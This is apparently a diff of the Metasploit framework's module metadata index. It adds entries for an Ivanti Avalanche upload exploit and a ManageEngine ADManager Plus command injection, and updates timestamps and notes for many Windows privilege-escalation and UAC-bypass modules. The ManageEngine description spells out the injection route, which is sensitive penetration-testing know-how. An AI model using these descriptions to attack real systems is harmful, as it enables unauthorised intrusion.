+ "ref_name": "windows/http/ivanti_avalanche_filestoreconfig_upload",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_windows/http/jira_collector_traversal": {
"name": "JIRA Issues Collector Directory Traversal",
"fullname": "exploit/windows/http/jira_collector_traversal",
@@ -149838,6 +151003,71 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection": {
+ "name": "ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection",
+ "fullname": "exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-04-12",
+ "type": "exploit",
+ "author": [
+ "Simon Humbert",
+ "Dinh Hoang",
+ "Grant Willcox"
+ ],
+ "description": "ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient\n validation of user input when performing the ChangePasswordAction function before passing it into a string that is later\n used as an OS command to execute.\n\n By making a POST request to /api/json/admin/saveServerSettings with a params POST\n parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a\n carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user\n running ADManager Plus, which will typically be the local administrator.\n\n Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,\n so this vulnerability does require authentication to exploit.\n\n As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads\n with this exploit, since these will use HTTP connections that will be affected by the change in configuration.",
+ "references": [
+ "CVE-2023-29084",
+ "URL-https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/",
+ "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-438/",
+ "URL-https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html",
+ "URL-https://www.manageengine.com/products/ad-manager/release-notes.html"
+ ],
+ "platform": "Windows",
+ "arch": "cmd",
+ "rport": 8080,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Windows Command"
+ ],
+ "mod_time": "2023-06-01 16:59:14 +0000",
+ "path": "/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb",
+ "is_install_path": true,
+ "ref_name": "windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "config-changes"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": {
"name": "ManageEngine ADSelfService Plus CVE-2021-40539",
"fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539",
@@ -156238,7 +157468,7 @@
"targets": [
"Windows 10 x64"
],
- "mod_time": "2021-08-26 09:27:21 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/alpc_taskscheduler.rb",
"is_install_path": true,
"ref_name": "windows/local/alpc_taskscheduler",
@@ -156417,7 +157647,7 @@
"James Forshaw",
"Shelby Pace"
],
- "description": "There exists a privilege escalation vulnerability for\n Windows 10 builds prior to build 17763. Due to the AppXSvc's\n improper handling of hard links, a user can gain full\n privileges over a SYSTEM-owned file. The user can then utilize\n the new file to execute code as SYSTEM.\n\n This module employs a technique using the Diagnostics Hub Standard\n Collector Service (DiagHub) which was discovered by James Forshaw to\n load and execute a DLL as SYSTEM.",
+ "description": "There exists a privilege escalation vulnerability for\n Windows 10 builds prior to build 17763. Due to the AppXSvc's\n improper handling of hard links, a user can gain full\n privileges over a SYSTEM-owned file. The user can then utilize\n the new file to execute code as SYSTEM.\n\n This module employs a technique using the Diagnostics Hub Standard\n Collector Service (DiagHub) which was discovered by James Forshaw to\n load and execute a DLL as SYSTEM.",
"references": [
"CVE-2019-0841",
"URL-https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/",
@@ -156425,7 +157655,7 @@
"URL-https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
"URL-https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html"
],
- "platform": "",
+ "platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
@@ -156437,7 +157667,7 @@
"targets": [
"Windows 10"
],
- "mod_time": "2019-07-09 11:39:38 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb",
"is_install_path": true,
"ref_name": "windows/local/appxsvc_hard_link_privesc",
@@ -156447,7 +157677,7 @@
"notes": {
},
"session_types": [
-
+ "meterpreter"
],
"needs_cleanup": true
},
@@ -156526,7 +157756,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2023-04-21 10:13:37 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb",
"is_install_path": true,
"ref_name": "windows/local/bits_ntlm_token_impersonation",
@@ -156581,7 +157811,7 @@
"targets": [
"Windows XP SP3"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bthpan.rb",
"is_install_path": true,
"ref_name": "windows/local/bthpan",
@@ -156626,7 +157856,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac",
@@ -156671,7 +157901,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2022-03-03 13:02:55 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_comhijack.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_comhijack",
@@ -156726,7 +157956,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2023-03-13 10:31:27 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_dotnet_profiler",
@@ -156781,7 +158011,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_eventvwr",
@@ -156827,7 +158057,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_fodhelper",
@@ -156876,7 +158106,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2022-12-04 17:41:24 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_injection.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_injection",
@@ -156919,7 +158149,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2023-02-09 11:43:20 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_injection_winsxs",
@@ -156964,7 +158194,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2023-03-13 10:31:27 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_sdclt.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_sdclt",
@@ -157069,7 +158299,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_sluihijack",
@@ -157096,7 +158326,7 @@
"Vozzie",
"Ben Campbell "
],
- "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.",
+ "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.",
"references": [
"URL-http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html",
"URL-https://github.com/Vozzie/uacscript"
@@ -157113,7 +158343,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2020-10-02 17:38:06 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_vbs.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_vbs",
@@ -157159,7 +158389,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_windows_store_filesys",
@@ -157209,7 +158439,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2022-12-12 16:53:34 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_windows_store_reg",
@@ -157308,7 +158538,7 @@
"targets": [
"Windows x64 (<= 10)"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/capcom_sys_exec.rb",
"is_install_path": true,
"ref_name": "windows/local/capcom_sys_exec",
@@ -157357,7 +158587,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/comahawk.rb",
"is_install_path": true,
"ref_name": "windows/local/comahawk",
@@ -157507,7 +158737,7 @@
"targets": [
"Windows 10 v1703 (Build 15063) x86"
],
- "mod_time": "2021-10-06 13:43:31 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2018_8453_win32k_priv_esc",
@@ -157562,7 +158792,7 @@
"targets": [
"Windows 7 x64"
],
- "mod_time": "2022-12-05 10:30:53 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2019_1458_wizardopium",
@@ -157620,7 +158850,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0668_service_tracing",
@@ -157678,7 +158908,7 @@
"targets": [
"Windows DLL Dropper"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0787_bits_arbitrary_file_move",
@@ -157733,7 +158963,7 @@
"targets": [
"Windows 10 v1903-1909 x64"
],
- "mod_time": "2021-08-27 17:15:33 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0796_smbghost.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0796_smbghost",
@@ -157795,7 +159025,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1048_printerdemon",
@@ -157803,6 +159033,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "screen-effects"
+ ]
},
"session_types": [
"meterpreter"
@@ -157845,7 +159085,7 @@
"targets": [
"Windows 7 x64"
],
- "mod_time": "2023-02-08 15:20:32 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1054_drawiconex_lpe",
@@ -157898,7 +159138,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2023-03-13 10:31:27 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1313_system_orchestrator",
@@ -157957,7 +159197,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2023-03-13 10:31:27 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1337_printerdemon",
@@ -158012,7 +159252,7 @@
"targets": [
"Windows DLL Dropper"
],
- "mod_time": "2022-03-10 18:03:35 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2020_17136.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_17136",
@@ -158067,7 +159307,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2021_21551_dbutil_memmove",
@@ -158080,6 +159320,9 @@
],
"Reliability": [
"repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
]
},
"session_types": [
@@ -158125,7 +159368,7 @@
"targets": [
"Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)"
],
- "mod_time": "2021-11-08 16:12:20 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2021_40449.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2021_40449",
@@ -158194,7 +159437,7 @@
"targets": [
"Windows 10 v1803-21H2 x64"
],
- "mod_time": "2022-02-24 11:24:20 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2022_21882_win32k.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2022_21882_win32k",
@@ -158247,7 +159490,7 @@
"targets": [
"Auto"
],
- "mod_time": "2022-03-15 16:45:36 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2022_21999_spoolfool_privesc",
@@ -158305,7 +159548,7 @@
"targets": [
"Windows 11"
],
- "mod_time": "2022-04-07 10:48:08 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/cve_2022_26904_superprofile.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2022_26904_superprofile",
@@ -158471,7 +159714,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb",
"is_install_path": true,
"ref_name": "windows/local/dnsadmin_serverlevelplugindll",
@@ -158734,7 +159977,7 @@
"targets": [
"Windows"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ipass_launch_app.rb",
"is_install_path": true,
"ref_name": "windows/local/ipass_launch_app",
@@ -158780,7 +160023,7 @@
"targets": [
"Windows"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/lenovo_systemupdate.rb",
"is_install_path": true,
"ref_name": "windows/local/lenovo_systemupdate",
@@ -158933,7 +160176,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/mov_ss.rb",
"is_install_path": true,
"ref_name": "windows/local/mov_ss",
@@ -158978,7 +160221,7 @@
"targets": [
"Windows XP SP3"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/mqac_write.rb",
"is_install_path": true,
"ref_name": "windows/local/mqac_write",
@@ -159010,7 +160253,7 @@
"Pusscat",
"OJ Reeves"
],
- "description": "This module will create a new session with SYSTEM privileges via the\n KiTrap0D exploit by Tavis Ormandy. If the session in use is already\n elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,\n and is not supported on x64 editions of Windows.",
+ "description": "This module will create a new session with SYSTEM privileges via the\n KiTrap0D exploit by Tavis Ormandy. If the session in use is already\n elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,\n and is not supported on x64 editions of Windows.",
"references": [
"CVE-2010-0232",
"OSVDB-61854",
@@ -159030,7 +160273,7 @@
"targets": [
"Windows 2K SP4 - Windows 7 (x86)"
],
- "mod_time": "2021-07-21 12:35:47 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms10_015_kitrap0d.rb",
"is_install_path": true,
"ref_name": "windows/local/ms10_015_kitrap0d",
@@ -159136,7 +160379,7 @@
"Windows XP SP2 / SP3",
"Windows Server 2003 SP2"
],
- "mod_time": "2022-12-05 10:30:53 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb",
"is_install_path": true,
"ref_name": "windows/local/ms11_080_afdjoinleaf",
@@ -159241,7 +160484,7 @@
"targets": [
"Windows 7 SP0/SP1"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms13_053_schlamperei.rb",
"is_install_path": true,
"ref_name": "windows/local/ms13_053_schlamperei",
@@ -159270,7 +160513,7 @@
"Matias Soler",
"Spencer McIntyre"
],
- "description": "This module exploits a vulnerability in win32k.sys where under\n specific conditions TrackPopupMenuEx will pass a NULL pointer to\n the MNEndMenuState procedure. This module has been tested\n successfully on Windows 7 SP0 and Windows 7 SP1.",
+ "description": "This module exploits a vulnerability in win32k.sys where under\n specific conditions TrackPopupMenuEx will pass a NULL pointer to\n the MNEndMenuState procedure. This module has been tested\n successfully on Windows 7 SP0 and Windows 7 SP1.",
"references": [
"CVE-2013-3881",
"OSVDB-98212",
@@ -159291,7 +160534,7 @@
"targets": [
"Windows 7 SP0/SP1"
],
- "mod_time": "2021-07-21 12:35:47 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms13_081_track_popup_menu.rb",
"is_install_path": true,
"ref_name": "windows/local/ms13_081_track_popup_menu",
@@ -159415,7 +160658,7 @@
"Spencer McIntyre",
"OJ Reeves "
],
- "description": "This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability\n can be triggered through the use of TrackPopupMenu. Under special conditions, the\n NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary\n code execution. This module has been tested successfully on Windows XP SP3, Windows\n 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows\n 2008 R2 SP1 64 bits.",
+ "description": "This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability\n can be triggered through the use of TrackPopupMenu. Under special conditions, the\n NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary\n code execution. This module has been tested successfully on Windows XP SP3, Windows\n 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows\n 2008 R2 SP1 64 bits.",
"references": [
"CVE-2014-4113",
"OSVDB-113167",
@@ -159436,7 +160679,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2021-07-21 12:35:47 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms14_058_track_popup_menu.rb",
"is_install_path": true,
"ref_name": "windows/local/ms14_058_track_popup_menu",
@@ -159532,7 +160775,7 @@
"targets": [
"Protected Mode (Windows 7) / 32 bits"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms15_004_tswbproxy.rb",
"is_install_path": true,
"ref_name": "windows/local/ms15_004_tswbproxy",
@@ -159561,7 +160804,7 @@
"OJ Reeves",
"Spencer McIntyre"
],
- "description": "This module exploits improper object handling in the win32k.sys kernel mode driver.\n This module has been tested on vulnerable builds of Windows 7 x64 and x86, and\n Windows 2008 R2 SP1 x64.",
+ "description": "This module exploits improper object handling in the win32k.sys kernel mode driver.\n This module has been tested on vulnerable builds of Windows 7 x64 and x86, and\n Windows 2008 R2 SP1 x64.",
"references": [
"CVE-2015-1701",
"MSB-MS15-051",
@@ -159582,7 +160825,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2021-07-21 12:35:47 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms15_051_client_copy_image.rb",
"is_install_path": true,
"ref_name": "windows/local/ms15_051_client_copy_image",
@@ -159637,7 +160880,7 @@
"targets": [
"Windows 8.1 x64"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms15_078_atmfd_bof.rb",
"is_install_path": true,
"ref_name": "windows/local/ms15_078_atmfd_bof",
@@ -159665,7 +160908,7 @@
"de7ec7ed",
"de7ec7ed"
],
- "description": "This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.\n This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.",
+ "description": "This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.\n This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.",
"references": [
"CVE-2016-0040",
"MSB-MS16-014",
@@ -159685,7 +160928,7 @@
"targets": [
"Windows 7 SP0/SP1"
],
- "mod_time": "2021-07-21 12:35:47 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_014_wmi_recv_notif",
@@ -159777,7 +161020,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2023-03-22 12:52:15 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_032_secondary_logon_handle_privesc",
@@ -159889,7 +161132,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms16_075_reflection_juicy.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_075_reflection_juicy",
@@ -159941,7 +161184,7 @@
"Windows 7 x64",
"Windows 7 x86"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb",
"is_install_path": true,
"ref_name": "windows/local/ms18_8120_win32k_privesc",
@@ -159997,7 +161240,7 @@
"Windows XP SP3",
"Windows Server 2003 SP2"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ms_ndproxy.rb",
"is_install_path": true,
"ref_name": "windows/local/ms_ndproxy",
@@ -160044,7 +161287,7 @@
"Automatic",
"Windows 7 SP1"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/novell_client_nicm.rb",
"is_install_path": true,
"ref_name": "windows/local/novell_client_nicm",
@@ -160090,7 +161333,7 @@
"Automatic",
"Windows XP SP3"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/novell_client_nwfs.rb",
"is_install_path": true,
"ref_name": "windows/local/novell_client_nwfs",
@@ -160181,7 +161424,7 @@
"James Forshaw",
"sinn3r "
],
- "description": "On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)\n allows application compatibility data to be cached for quick reuse when new processes are\n created. A normal user can query the cache but cannot add new cached entries as the\n operation is restricted to administrators. This is checked in the function\n AhcVerifyAdminContext.\n\n This function has a vulnerability where it doesn't correctly check the impersonation token\n of the caller to determine if the user is an administrator. It reads the caller's\n impersonation token using PsReferenceImpersonationToken and then does a comparison between\n the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level\n of the token so it's possible to get an identify token on your thread from a local system\n process and bypass this check.\n\n This module currently only affects Windows 8 and Windows 8.1, and requires access to\n C:\\Windows\\System\\ComputerDefaults.exe (although this can be improved).",
+ "description": "On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)\n allows application compatibility data to be cached for quick reuse when new processes are\n created. A normal user can query the cache but cannot add new cached entries as the\n operation is restricted to administrators. This is checked in the function\n AhcVerifyAdminContext.\n\n This function has a vulnerability where it doesn't correctly check the impersonation token\n of the caller to determine if the user is an administrator. It reads the caller's\n impersonation token using PsReferenceImpersonationToken and then does a comparison between\n the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level\n of the token so it's possible to get an identify token on your thread from a local system\n process and bypass this check.\n\n This module currently only affects Windows 8 and Windows 8.1, and requires access to\n C:\\Windows\\System\\ComputerDefaults.exe (although this can be improved).",
"references": [
"MSB-MS15-001",
"CVE-2015-0002",
@@ -160201,7 +161444,7 @@
"targets": [
"Windows 8 / Windows 8.1 (x86 and x64)"
],
- "mod_time": "2023-03-22 12:52:15 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ntapphelpcachecontrol.rb",
"is_install_path": true,
"ref_name": "windows/local/ntapphelpcachecontrol",
@@ -160258,7 +161501,7 @@
"targets": [
"Windows 7 x86"
],
- "mod_time": "2023-02-08 15:20:32 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ntusermndragover.rb",
"is_install_path": true,
"ref_name": "windows/local/ntusermndragover",
@@ -160312,7 +161555,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/nvidia_nvsvc.rb",
"is_install_path": true,
"ref_name": "windows/local/nvidia_nvsvc",
@@ -160339,7 +161582,7 @@
"h00die ",
"Security-Assessment.com"
],
- "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)",
+ "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)",
"references": [
],
@@ -160356,7 +161599,7 @@
"Windows x86",
"Windows x64"
],
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/panda_psevents.rb",
"is_install_path": true,
"ref_name": "windows/local/panda_psevents",
@@ -160718,7 +161961,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/ppr_flatten_rec.rb",
"is_install_path": true,
"ref_name": "windows/local/ppr_flatten_rec",
@@ -161079,7 +162322,7 @@
"targets": [
"Windows"
],
- "mod_time": "2022-12-09 11:24:16 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/s4u_persistence.rb",
"is_install_path": true,
"ref_name": "windows/local/s4u_persistence",
@@ -161165,7 +162408,7 @@
"targets": [
"Windows Server 2012 (x64)"
],
- "mod_time": "2021-09-08 21:56:02 +0000",
+ "mod_time": "2023-05-25 12:45:30 +0000",
"path": "/modules/exploits/windows/local/srclient_dll_hijacking.rb",
